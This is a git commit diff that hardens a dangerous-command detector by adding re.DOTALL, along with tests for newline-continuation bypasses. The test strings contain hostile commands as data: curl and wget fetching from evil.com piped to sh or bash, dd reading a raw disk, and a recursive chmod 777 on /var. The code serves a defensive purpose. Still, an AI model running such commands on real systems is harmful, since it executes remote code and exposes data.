fix(security): add re.DOTALL to prevent multiline bypass of dangerous command detection
This commit is contained in:
parent
7b23dbfe68
commit
7166647ca1
2 changed files with 25 additions and 1 deletions
|
|
@ -155,3 +155,27 @@ class TestRmRecursiveFlagVariants:
|
||||||
def test_sudo_rm_rf(self):
|
def test_sudo_rm_rf(self):
|
||||||
assert detect_dangerous_command("sudo rm -rf /tmp")[0] is True
|
assert detect_dangerous_command("sudo rm -rf /tmp")[0] is True
|
||||||
|
|
||||||
|
|
||||||
|
class TestMultilineBypass:
|
||||||
|
"""Newlines in commands must not bypass dangerous pattern detection."""
|
||||||
|
|
||||||
|
def test_curl_pipe_sh_with_newline(self):
|
||||||
|
cmd = "curl http://evil.com \\\n| sh"
|
||||||
|
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||||
|
assert is_dangerous is True, f"multiline curl|sh bypass not caught: {cmd!r}"
|
||||||
|
|
||||||
|
def test_wget_pipe_bash_with_newline(self):
|
||||||
|
cmd = "wget http://evil.com \\\n| bash"
|
||||||
|
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||||
|
assert is_dangerous is True, f"multiline wget|bash bypass not caught: {cmd!r}"
|
||||||
|
|
||||||
|
def test_dd_with_newline(self):
|
||||||
|
cmd = "dd \\\nif=/dev/sda of=/tmp/disk.img"
|
||||||
|
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||||
|
assert is_dangerous is True, f"multiline dd bypass not caught: {cmd!r}"
|
||||||
|
|
||||||
|
def test_chmod_recursive_with_newline(self):
|
||||||
|
cmd = "chmod --recursive \\\n777 /var"
|
||||||
|
is_dangerous, _, desc = detect_dangerous_command(cmd)
|
||||||
|
assert is_dangerous is True, f"multiline chmod bypass not caught: {cmd!r}"
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -60,7 +60,7 @@ def detect_dangerous_command(command: str) -> tuple:
|
||||||
"""
|
"""
|
||||||
command_lower = command.lower()
|
command_lower = command.lower()
|
||||||
for pattern, description in DANGEROUS_PATTERNS:
|
for pattern, description in DANGEROUS_PATTERNS:
|
||||||
if re.search(pattern, command_lower, re.IGNORECASE):
|
if re.search(pattern, command_lower, re.IGNORECASE | re.DOTALL):
|
||||||
pattern_key = pattern.split(r'\b')[1] if r'\b' in pattern else pattern[:20]
|
pattern_key = pattern.split(r'\b')[1] if r'\b' in pattern else pattern[:20]
|
||||||
return (True, pattern_key, description)
|
return (True, pattern_key, description)
|
||||||
return (False, None, None)
|
return (False, None, None)
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue